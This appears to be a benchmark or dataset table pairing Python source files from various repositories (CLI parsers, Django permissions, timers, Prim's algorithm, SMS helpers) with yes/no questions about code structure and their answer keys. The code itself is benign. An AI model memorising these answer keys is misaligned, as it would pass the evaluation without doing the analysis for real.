source string | points list | n_points int64 | path string | repo string |
|---|---|---|---|---|
import pathlib
import argparse
usage_string = '''Welcome to Olymptester!
Usage:
> olymptester run|test|init [-d dirname] [-p path/to/app] [-t path/to/tests]'''
def path(s):
return pathlib.Path(s).absolute()
def validate_paths(d):
if d['mode'] in ['run', 'test']:
workdir = path(d['workdir'])
solution = workdir / d['path_to_program']
tests = workdir / d['path_to_tests']
assert workdir.is_dir(), f'directory "{workdir.name}" does not exist'
assert solution.is_file(), f'file {solution.name} does not exist'
assert tests.is_file(), f'file {tests.name} does not exist'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("mode", help="mode")
parser.add_argument("-d", "--dir", help="directory")
parser.add_argument("-p", "--program", help="path to program")
parser.add_argument("-t", "--tests", help="path to tests")
parser.add_argument("-n", "--name", help="test name")
args = parser.parse_args()
assert args.mode in ['init', 'test', 'run'], usage_string
if args.mode == 'init':
dir = '.' if args.dir is None else args.dir
return {
'mode': args.mode,
'dir': dir
}
path_to_program = 'solution.cpp' if args.program is None else args.program
path_to_tests = 'tests.yml' if args.tests is None else args.tests
return {
'workdir' : '.',
'path_to_program': path_to_program,
'path_to_tests' : path_to_tests,
'mode' : args.mode,
'test_name': args.name
}
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
... | 3 | src/olymptester/arg_parser.py | jrojer/easy-stdio-tester |
from core.advbase import *
from slot.a import *
from slot.d import *
def module():
return Ramona
class Ramona(Adv):
a1 = ('primed_att',0.10)
a3 = ('bc',0.13)
conf = {}
conf['slots.a'] = Summer_Paladyns()+Primal_Crisis()
conf['slots.burn.a'] = Resounding_Rendition()+Me_and_My_Bestie()
conf['acl'] = """
`dragon, s=1
`s3, not self.s3_buff
`s2, s1.check()
`s4
`s1
"""
coab = ['Blade', 'Wand', 'Marth']
share = ['Ranzal']
def prerun(self):
self.a_s1 = self.s1.ac
self.a_s1a = S('s1', Conf({'startup': 0.10, 'recovery': 3.10}))
def recovery():
return self.a_s1a._recovery + self.a_s1.getrecovery()
self.a_s1a.getrecovery = recovery
self.s1.ac = self.a_s1a
def s1_proc(self, e):
self.dmg_make(e.name, 2.93*6)
self.hits += 6
def s2_proc(self, e):
Event('defchain')()
if __name__ == '__main__':
from core.simulate import test_with_argv
test_with_argv(None, *sys.argv) | [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answ... | 3 | adv/ramona.py | slushiedee/dl |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
test_persistentkv
----------------------------------
Tests for `persistentkv` module.
"""
try:
import unittest2 as unittest
except ImportError:
import unittest
import os
import common
from wikipediabase import persistentkv as pkv
DATABASE = "/tmp/remove-me.db"
class TestPersistentkv(unittest.TestCase):
def setUp(self):
pass
def test_non_persist(self):
ps = pkv.PersistentDict(DATABASE)
ps['hello'] = "yes"
ps["bye"] = "no"
ps['\xe2\x98\x83snowman'.decode('utf8')] = "well"
self.assertEqual(ps['hello'], "yes")
self.assertEqual(ps['bye'], "no")
del ps
# Test persistence
ps = pkv.PersistentDict(DATABASE)
self.assertEqual(ps['hello'], "yes")
self.assertEqual(ps['bye'], "no")
self.assertEqual(ps['\xe2\x98\x83snowman'.decode('utf8')], "well")
del ps
# Test file dependency
os.remove(DATABASE)
ps = pkv.PersistentDict(DATABASE)
with self.assertRaises(KeyError):
bo = ps['hello'] == "yes"
def tearDown(self):
os.remove(DATABASE)
if __name__ == '__main__':
unittest.main()
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
... | 3 | tests/test_persistentkv.py | fakedrake/WikipediaBase |
import datetime
import json
from twilio.base import values
def iso8601_date(d):
"""
Return a string representation of a date that the Twilio API understands
Format is YYYY-MM-DD. Returns None if d is not a string, datetime, or date
"""
if d == values.unset:
return d
elif isinstance(d, datetime.datetime):
return str(d.date())
elif isinstance(d, datetime.date):
return str(d)
elif isinstance(d, str):
return d
def iso8601_datetime(d):
"""
Return a string representation of a date that the Twilio API understands
Format is YYYY-MM-DD. Returns None if d is not a string, datetime, or date
"""
if d == values.unset:
return d
elif isinstance(d, datetime.datetime) or isinstance(d, datetime.date):
return d.strftime('%Y-%m-%dT%H:%M:%SZ')
elif isinstance(d, str):
return d
def prefixed_collapsible_map(m, prefix):
"""
Return a dict of params corresponding to those in m with the added prefix
"""
if m == values.unset:
return {}
def flatten_dict(d, result=None, prv_keys=None):
if result is None:
result = {}
if prv_keys is None:
prv_keys = []
for k, v in d.items():
if isinstance(v, dict):
flatten_dict(v, result, prv_keys + [k])
else:
result['.'.join(prv_keys + [k])] = v
return result
if isinstance(m, dict):
flattened = flatten_dict(m)
return {'{}.{}'.format(prefix, k): v for k, v in flattened.items()}
return {}
def object(obj):
"""
Return a jsonified string represenation of obj if obj is jsonifiable else
return obj untouched
"""
if isinstance(obj, dict) or isinstance(obj, list):
return json.dumps(obj)
return obj
def map(lst, serialize_func):
"""
Applies serialize_func to every element in lst
"""
if not isinstance(lst, list):
return lst
return [serialize_func(e) for e in lst]
| [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined insid... | 3 | whatsapp-bot-venv/Lib/site-packages/twilio/base/serialize.py | RedaMastouri/ConversationalPythonicChatBot |
import numpy as np
import sys
#define a function that returns a value
def expo(x):
return np.exp(x) #return the np e^x function
#define a subroutine that does not return a value
def show_expo(n):
for i in range(n):
print(expo(float(i))) #call the expo funtion
#define a main function
def main():
n = 10 #provide a default function for n
#check if there is a command line argument provided
if(len(sys.argv)>1):
n = int(sys.argv[1]) #if an argument was provided, use it for n
show_expo(n) #call the show_expo subroutine
#run the main function
if __name__ == "__main__":
main()
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer":... | 3 | functions.py | vbautista379/astr-119-session-3 |
class Userinfo:
'''
class generates the users info.That is the username and password.
'''
userinfo_list = []
def save_userinfo(self):
'''
This method saves userinfo into the userinfo_list
'''
Userinfo.userinfo_list.append(self)
def delete_userinfo(self):
'''
This will delete saved userinfo from userinfo_list
'''
Userinfo.userinfo_list.remove(self)
@classmethod
def find_userinfo(cls, string):
'''
this method accesses accounts in accounts_list
'''
for userinfo in cls.userinfo_list:
if userinfo.username == string:
return userinfo
def __init__(self,username,password):
'''
Will define properties for this class
'''
self.username = username
self.password = password
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": ... | 3 | userinfo.py | kenmutuma001/Password-Locker |
import post_office
def get_email_template(name, default=None):
"""Get an email template, or fall back to use the default template object (if provided)"""
try:
return post_office.models.EmailTemplate.objects.get(name=name)
except post_office.models.EmailTemplate.DoesNotExist:
return default
def get_or_create_email_template(name, default):
'Get an email template, or fall back to creating one, using the provided name onto the default template' ''
# the extra bookkeeping here is to ensure that `default` is not modified as a side-effect
oldPk = default.pk
oldId = default.id
try:
return post_office.models.EmailTemplate.objects.get(name=name)
except post_office.models.EmailTemplate.DoesNotExist:
default.pk = None
default.id = None
default.name = name
default.save()
return get_email_template(name)
finally:
default.pk = oldPk
default.id = oldId
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside... | 3 | tracker/mailutil.py | TreZc0/donation-tracker |
from logging import getLogger
import gokart
import luigi
import swifter # noqa
from dajare_detector.utils.base_task import DajareTask
from dajare_detector.preprocessing.make_kana_pattern import MakeKanaPattern
from dajare_detector.preprocessing.make_splited_pattern import MakeSplitedPattern
from dajare_detector.preprocessing.decide_kana_pattern import DecideKanaPattern
from dajare_detector.preprocessing.normalize_kana_pattern import NormalizeKanaPattern
logger = getLogger(__name__)
class MakeDecideKanaFeature(DajareTask):
"""カタカナの繰り返しが発生したか"""
target = gokart.TaskInstanceParameter()
split_window_size = luigi.IntParameter()
def requires(self):
kana_task = NormalizeKanaPattern(target=MakeKanaPattern(
target=self.target))
split_task = MakeSplitedPattern(
target=kana_task, split_window_size=self.split_window_size)
return DecideKanaPattern(split_pattern_target=split_task,
kana_pattern_target=kana_task,
split_window_size=self.split_window_size)
def run(self):
df = self.load_data_frame().reset_index(drop=True)
df[f'decide_kana_{self.split_window_size}'] = df[
'decide_kana_flag_list'].swifter.apply(lambda x: 1
if any(x) else 0)
self.dump(df[['_id', f'decide_kana_{self.split_window_size}']])
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"ans... | 3 | dajare_detector/featurize/make_decide_kana_feature.py | vaaaaanquish/dajare-detector |
from rest_framework import permissions
class UpdateOwnProfile(permissions.BasePermission):
"""Allow user to edit their own profile"""
def has_object_permission(self, request, view, obj):
"""Check user is trying to edit their own profile"""
if request.method in permissions.SAFE_METHODS:
return True
return obj.id == request.user.id
class UpdateOwnStatus(permissions.BasePermission):
"""Allow users to update their own status"""
def has_object_permission(self, request, view, obj):
"""Check the user is trying to update their own status"""
if request.method in permissions.SAFE_METHODS:
return True
return obj.user_profile.id == request.user.id
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": true
},
{
"point_num": 2,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",... | 3 | profiles_api/permissions.py | ndenisj/profiles-rest-api |
"""
Decouples SocialApp client credentials from the database
"""
from django.conf import settings
class SocialAppMixin:
class Meta:
abstract = True
# Get credentials to be used by OAuth2Client
def get_app(self, request):
app = settings.SOCIAL_APPS.get(self.id)
from allauth.socialaccount.models import SocialApp
return SocialApp(
id=app.get('id'),
name='SocialApp instance',
provider=self.id,
client_id=app.get('client_id'),
secret=app.get('secret'),
key=''
)
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{... | 3 | oauth2/socialapp.py | DemocracyLab/DemocracyLab-CivicTechExchange |
import time
import util.testing
from modern_paste import db
class User(db.Model):
__tablename__ = 'user'
user_id = db.Column(db.Integer, primary_key=True, autoincrement=True)
is_active = db.Column(db.Boolean)
signup_time = db.Column(db.Integer)
signup_ip = db.Column(db.Text)
username = db.Column(db.String(64), index=True)
password_hash = db.Column(db.Text)
name = db.Column(db.Text, default=None)
email = db.Column(db.Text, default=None)
api_key = db.Column(db.String(64), index=True)
def __init__(
self,
signup_ip,
username,
password_hash,
name,
email,
):
self.is_active = True
self.signup_time = time.time()
self.signup_ip = signup_ip
self.username = username
self.password_hash = password_hash
self.name = name
self.email = email
self.api_key = util.testing.random_alphanumeric_string(length=64)
@staticmethod
def is_authenticated():
return True
@staticmethod
def is_anonymous():
return False
def get_id(self):
return self.user_id
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excludi... | 3 | app/models/user.py | postmodern-paste/postmodern-paste |
import time
from collections import OrderedDict
class Speedometer(object):
def __init__(self, num_ema=10):
self.num_ema = num_ema
self.reset()
def reset(self):
self.total = 0
self.start = time.time()
self.last = -1
self.ema = -1
def __call__(self, count):
"""Callback to Show speed."""
now = time.time()
if self.last < 0:
speed = count/(now - self.start)
self.ema = speed
self.last = now
self.total += count
return self.ema
# ema
speed = count/(now - self.last)
self.ema = (self.ema * (self.num_ema-1) + speed) / self.num_ema
self.last = now
self.total += count
return self.ema
@property
def speed(self):
return self.ema
@property
def avg(self):
now = time.time()
return self.total/(now - self.start)
class TimeRecorder(object):
def __init__(self):
self.record = OrderedDict()
self.last = None
def reset(self):
self.record.clear()
self.last = None
def start(self, tag):
"""Callback to Show speed."""
now = time.time()
self.record[tag] = [now]
self.last = tag
def stop(self, tag):
now = time.time()
self.record[tag].append(now)
self.last = None
def into(self, tag):
if self.last:
self.stop(self.last)
self.start(tag)
def get_time(self, tag):
l = self.record[tag]
return l[-1] - l[0]
def report(self, tag_list=None):
tags = list(self.record.keys())
fmt_str = ''
for tag in tags:
if tag_list and tag not in tag_list:
continue
fmt_str += '%s:%.4f ' % (tag, self.get_time(tag))
print(fmt_str)
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false... | 3 | deeploader/util/speedmeter.py | cnzeki/DeepLoader |
from flask import request
from src.atm_session.atm_session import ATMSession
ATM_SESSION_HEADER = 'X-Api-ATM-Key'
def session_required(f):
def wrapped_function(*args, **kwargs):
if ATM_SESSION_HEADER not in request.headers:
return 'Unauthorized', 401
session_key = request.headers[ATM_SESSION_HEADER]
if not ATMSession.is_valid_session_id(session_key):
return 'Unauthorized', 401
return f(*args, **kwargs)
return wrapped_function
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"... | 3 | src/api/decorators.py | josephmcgovern-wf/isu-atm-backend |
# standard
from importlib import import_module
# internal
import settings
def core_func(*args, **kwargs):
print('core_func executed with args={} + kwargs={}'.format(args, kwargs))
def set_middlewares(func):
for middleware in reversed(settings.MIDDLEWARES):
p, m = middleware.rsplit('.', 1)
mod = import_module(p)
met = getattr(mod, m)
func = met(func)
return func
if __name__ == '__main__':
args = (1, 2, 3)
kwargs = {
'a': 'x',
'b': 'y',
'c': 'z'
}
set_middlewares(core_func)(*args, **kwargs)
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": fals... | 3 | index.py | kavehkm/MiddleWareSystem |
from django.shortcuts import redirect
from django.http import HttpResponseRedirect
from django.urls import reverse
def get_post_response(view_name: str):
return HttpResponseRedirect(reverse(viewname=view_name))
def redirect_view(request):
return redirect("/hangman/")
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"ans... | 3 | hangman_project/hangman_game/views/main.py | aurum86/hangman-game-py-project |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Downloads the necessary NLTK corpora for TextBlob.
Usage: ::
$ python -m textblob.download_corpora
If you only intend to use TextBlob's default models, you can use the "lite"
option: ::
$ python -m textblob.download_corpora lite
"""
import sys
from textblob.packages import nltk
MIN_CORPORA = [
'brown', # Required for FastNPExtractor
'punkt', # Required for WordTokenizer
'wordnet' # Required for lemmatization
]
ADDITIONAL_CORPORA = [
'conll2000', # Required for ConllExtractor
'maxent_treebank_pos_tagger', # Required for NLTKTagger
'movie_reviews', # Required for NaiveBayesAnalyzer
]
ALL_CORPORA = MIN_CORPORA + ADDITIONAL_CORPORA
def download_lite():
for each in MIN_CORPORA:
print('Downloading "{0}"'.format(each))
nltk.download(each)
def download_all():
for each in ALL_CORPORA:
print('Downloading "{0}"'.format(each))
nltk.download(each)
def main():
if 'lite' in sys.argv:
download_lite()
else:
download_all()
print("Finished.")
if __name__ == '__main__':
main()
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer":... | 3 | textblob/download_corpora.py | thachp/TextBlob |
from threading import Timer
class DeskTimer(object):
current_timer = None
def start(self, time, callback, *args):
self.current_timer = Timer(time, callback, args)
self.current_timer.start()
def stop(self):
if self.current_timer != None:
self.current_timer.cancel()
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
}... | 3 | raspi/deskTimer.py | Itera/ariot2018 |
#!/usr/bin/python3
"""Create class"""
class Square:
"""Square class"""
def __init__(self, size=0, position=(0, 0)):
"""Initialize Square"""
self.__size = size
self.position = position
"""if type(size) is not int:
raise TypeError("size must be an integer")
if size < 0:
raise ValueError("size must be >= 0")"""
def area(self, area=0):
"""defines area"""
return(self.__size * self.__size)
@property
def size(self):
""" define size"""
return self.__size
@size.setter
def size(self, value):
"""Define area"""
if type(value) is not int:
raise TypeError("size must be an integer")
if value < 0:
raise ValueError("size must be >= 0")
self.__size = value
def my_print(self):
"""print Square"""
if self.__size:
for i in range(self.__position[1]):
print()
for j in range(self.__size):
print('{}{}'.format(' ' * self.position[0], '#' * self.__size))
else:
print()
@property
def position(self):
""" position"""
return self.__position
@position.setter
def position(self, value):
if (not isinstance(value, tuple) or
len(value) != 2 or
not isinstance(value[0], int) or
not isinstance(value[1], int) or
value[0] < 0 or
value[1] < 0):
raise TypeError("position must be a tuple of 2 positive integers")
self.__position = value
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fe... | 3 | 0x06-python-classes/6-square.py | ricardo1470/holbertonschool-higher_level_programming |
# (C) Datadog, Inc. 2010-2016
# All rights reserved
# Licensed under Simplified BSD License (see LICENSE)
from threading import Thread
import functools
_thread_by_func = {}
class TimeoutException(Exception):
"""
Raised when a function runtime exceeds the limit set.
"""
pass
class ThreadMethod(Thread):
"""
Descendant of `Thread` class.
Run the specified target method with the specified arguments.
Store result and exceptions.
From: https://code.activestate.com/recipes/440569/
"""
def __init__(self, target, args, kwargs):
Thread.__init__(self)
self.setDaemon(True)
self.target, self.args, self.kwargs = target, args, kwargs
self.start()
def run(self):
try:
self.result = self.target(*self.args, **self.kwargs)
except Exception as e:
self.exception = e
else:
self.exception = None
def timeout(timeout):
"""
A decorator to timeout a function. Decorated method calls are executed in a separate new thread
with a specified timeout.
Also check if a thread for the same function already exists before creating a new one.
Note: Compatible with Windows (thread based).
"""
def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
key = "{0}:{1}:{2}:{3}".format(id(func), func.__name__, args, kwargs)
if key in _thread_by_func:
# A thread for the same function already exists.
worker = _thread_by_func[key]
else:
worker = ThreadMethod(func, args, kwargs)
_thread_by_func[key] = worker
worker.join(timeout)
if worker.is_alive():
raise TimeoutException()
del _thread_by_func[key]
if worker.exception:
raise worker.exception
else:
return worker.result
return wrapper
return decorator
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than ... | 3 | utils/timeout.py | trilogy-group/kayako-dd-agent |
#!/usr/bin/env python3
import pytest
from tools import Cell
class Sample:
def __init__(self, serial, x, y, target):
self.serial = serial
self.x = x
self.y = y
self.target = target
def __str__(self):
return f'Cell at {self.x}x{self.y}, ' \
f'grid serial number {self.serial}:' \
f'power level is {self.target}'
samples = [
Sample(8, 3, 5, 4),
Sample(57, 122,79, -5),
Sample(39, 217, 196, 0),
Sample(71, 101, 153, 4),
]
@pytest.fixture(params=samples, ids=str)
def sample(request):
return request.param
def test_cell(sample):
cell = Cell(sample.serial)
assert cell(sample.x, sample.y) == sample.target
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than ... | 3 | 11/test_cells.py | euribates/advent_of_code_2018 |
# -*- coding: utf-8 -*-
import pytest
from resources.models import Equipment, ResourceEquipment, EquipmentCategory
from django.urls import reverse
from .utils import check_disallowed_methods, UNSAFE_METHODS
@pytest.fixture
def list_url():
return reverse('equipmentcategory-list')
@pytest.mark.django_db
@pytest.fixture
def detail_url(equipment_category):
return reverse('equipmentcategory-detail', kwargs={'pk': equipment_category.pk})
def _check_keys_and_values(result):
"""
Check that given dict represents equipment data in correct form.
"""
assert len(result) == 3 # id, name, equipments
assert result['id'] != ''
assert result['name'] == {'fi': 'test equipment category'}
equipments = result['equipment']
assert len(equipments) == 1
equipment = equipments[0]
assert len(equipment) == 2
assert equipment['name'] == {'fi': 'test equipment'}
assert equipment['id'] != ''
@pytest.mark.django_db
def test_disallowed_methods(all_user_types_api_client, list_url, detail_url):
"""
Tests that only safe methods are allowed to equipment list and detail endpoints.
"""
check_disallowed_methods(all_user_types_api_client, (list_url, detail_url), UNSAFE_METHODS)
@pytest.mark.django_db
def test_get_equipment_category_list(api_client, list_url, equipment):
"""
Tests that equipment category list endpoint returns equipment category data in correct form.
"""
response = api_client.get(list_url)
results = response.data['results']
assert len(results) == 1
_check_keys_and_values(results[0])
@pytest.mark.django_db
def test_get_equipment_category_list(api_client, detail_url, equipment):
"""
Tests that equipment category detail endpoint returns equipment category data in correct form.
"""
response = api_client.get(detail_url)
_check_keys_and_values(response.data)
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answ... | 3 | resources/tests/test_equipment_category_api.py | HotStew/respa |
import torch
from torch import nn, Tensor
import math
class LearnedPositionEncoder(nn.Module):
"""
Learned Position Encoder. Takes tensor of positional indicies and converts to learned embeddings
"""
def __init__(self, n_timesteps, d_model):
super().__init__()
self.embeddor = nn.Embedding(n_timesteps, d_model) # lookup table, each with vector of size d_model
nn.init.uniform_(self.embeddor.weight)
def forward(self, pos_indicies):
pos_indicies = pos_indicies.long()
return self.embeddor(pos_indicies)
class PositionEmbeddingSine(nn.Module):
"""
This is a more standard version of the position embedding, very similar to the one
used by the Attention is all you need paper, generalized to work on images.
"""
def __init__(self,params, temperature=10000, scale=2*math.pi):
super().__init__()
self.params=params
self.num_pos_feats = params.arch.d_model
self.temperature = temperature
self.scale = scale
self.max_time = params.data_generation.n_timesteps
def forward(self, proposals):
proposals = proposals + 1
dim_t = torch.arange(self.num_pos_feats, dtype=torch.float32, device=proposals.device)
dim_t = self.temperature ** (2 * (dim_t // 2) / self.num_pos_feats)
# N, L
proposals = proposals / self.max_time * self.scale
# N, L, num_pos_feats
pos = proposals[:, :, None] / dim_t
# N, L, 2, num_pos_feats/2, 2
pos = torch.stack((pos[:, :, 0::2].sin(), pos[:, :, 1::2].cos()), dim=3).flatten(2)
# N, L, num_pos_feats*2
return pos
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
... | 3 | src/modules/position_encoder.py | JulianoLagana/MT3 |
from django.db.models import Transform
from django.db.models.lookups import PostgresOperatorLookup
from .search import SearchVector, SearchVectorExact, SearchVectorField
class DataContains(PostgresOperatorLookup):
lookup_name = 'contains'
postgres_operator = '@>'
class ContainedBy(PostgresOperatorLookup):
lookup_name = 'contained_by'
postgres_operator = '<@'
class Overlap(PostgresOperatorLookup):
lookup_name = 'overlap'
postgres_operator = '&&'
class HasKey(PostgresOperatorLookup):
lookup_name = 'has_key'
postgres_operator = '?'
prepare_rhs = False
class HasKeys(PostgresOperatorLookup):
lookup_name = 'has_keys'
postgres_operator = '?&'
def get_prep_lookup(self):
return [str(item) for item in self.rhs]
class HasAnyKeys(HasKeys):
lookup_name = 'has_any_keys'
postgres_operator = '?|'
class Unaccent(Transform):
bilateral = True
lookup_name = 'unaccent'
function = 'UNACCENT'
class SearchLookup(SearchVectorExact):
lookup_name = 'search'
def process_lhs(self, qn, connection):
if not isinstance(self.lhs.output_field, SearchVectorField):
config = getattr(self.rhs, 'config', None)
self.lhs = SearchVector(self.lhs, config=config)
lhs, lhs_params = super().process_lhs(qn, connection)
return lhs, lhs_params
class TrigramSimilar(PostgresOperatorLookup):
lookup_name = 'trigram_similar'
postgres_operator = '%%'
class TrigramWordSimilar(PostgresOperatorLookup):
lookup_name = 'trigram_word_similar'
postgres_operator = '%%>'
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": false... | 3 | django/contrib/postgres/lookups.py | KaushikSathvara/django |
"""
Prim's Algorithm.
Determines the minimum spanning tree(MST) of a graph using the Prim's Algorithm
Create a list to store x the vertices.
G = [vertex(n) for n in range(x)]
For each vertex in G, add the neighbors:
G[x].addNeighbor(G[y])
G[y].addNeighbor(G[x])
For each vertex in G, add the edges:
G[x].addEdge(G[y], w)
G[y].addEdge(G[x], w)
To solve run:
MST = prim(G, G[0])
"""
import math
class vertex():
"""Class Vertex."""
def __init__(self, id):
"""
Arguments:
id - input an id to identify the vertex
Attributes:
neighbors - a list of the vertices it is linked to
edges - a dict to store the edges's weight
"""
self.id = str(id)
self.key = None
self.pi = None
self.neighbors = []
self.edges = {} # [vertex:distance]
def __lt__(self, other):
"""Comparison rule to < operator."""
return (self.key < other.key)
def __repr__(self):
"""Return the vertex id."""
return self.id
def addNeighbor(self, vertex):
"""Add a pointer to a vertex at neighbor's list."""
self.neighbors.append(vertex)
def addEdge(self, vertex, weight):
"""Destination vertex and weight."""
self.edges[vertex.id] = weight
def prim(graph, root):
"""
Prim's Algorithm.
Return a list with the edges of a Minimum Spanning Tree
prim(graph, graph[0])
"""
A = []
for u in graph:
u.key = math.inf
u.pi = None
root.key = 0
Q = graph[:]
while Q:
u = min(Q)
Q.remove(u)
for v in u.neighbors:
if (v in Q) and (u.edges[v.id] < v.key):
v.pi = u
v.key = u.edges[v.id]
for i in range(1, len(graph)):
A.append([graph[i].id, graph[i].pi.id])
return(A)
| [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written... | 3 | graphs/prim.py | KirilBangachev/Python |
"""
This module provide utilities for sms
"""
import math
def sms_is_limited(msg):
"""
:param msg: <str>
:return: <bool> True if msj contain special characters else False
"""
for i in msg:
if ord(i) > 127:
return True
return False
def sms_length(msg):
"""
:param msg: <str>
:return: <int>, <int> len of message and capacity of sms
"""
if sms_is_limited(msg):
return len(msg), 70
return len(msg), 160
def sms_rest(msg):
"""
:param msg: <str>
:return: <int> return the difference between length of message and capacity of sms
"""
if sms_is_limited(msg):
return 70 - len(msg)
return 160 - len(msg)
def sms_parse(msg, offset=0):
"""
:param msg: <str>
:param offset: <int> (optional) offset for a previous message
:return: [<str>, ...] sms to send and substring with te message
"""
if sms_is_limited(msg):
array_len = math.ceil(len(msg)/(70-offset))
subarray_len = 70-offset
else:
array_len = math.ceil(len(msg)/(160-offset))
subarray_len = 160-offset
result = [msg[i*subarray_len:i*subarray_len+subarray_len] for i in range(array_len)]
return result
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (exclu... | 3 | smsc/utils.py | nicoCalvo/smsc-python |
def aumentar(preco = 0, taxa = 0, format=False):
'''
:param preco:
:param taxa:
:param format:
:return:
'''
res = preco + (preco * taxa/100) # 20% do preco
return res if format is False else moeda(res)
def dimimuir(preco = 0, taxa = 0, format=False):
res = preco - (preco * taxa/100)
return res if format is False else moeda(res)
def dobro(preco = 0, format=False):
res = preco * 2
return res if format is False else moeda(res)
def metade(preco = 0, format=False):
res = preco / 2
return res if format is False else moeda(res)
def moeda(preco = 0, moeda = 'R$'):
return f'{moeda}{preco:>.2f}'.replace ('.',',')
def resumo(preco=0, taxaAumento = 10, taxaReducao = 5):
print('-=' * 30)
print('RESUMO DO VALOR'.center(30))
print('-=' * 30)
print(f'Preco analisado: \t{moeda(preco)}')
print(f'Dobro do preco: \t{dobro(preco,True)}')
print(f'Metade do preco: \t{metade(preco, True)}')
print(f'Com {taxaAumento}% de auento: \t{aumentar(preco, taxaAumento, True)}')
print(f'Com {taxaReducao}% de reducao:\t{aumentar(preco, taxaReducao, True)}')
print('-=' * 30) | [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "any_function_over_40_lines",
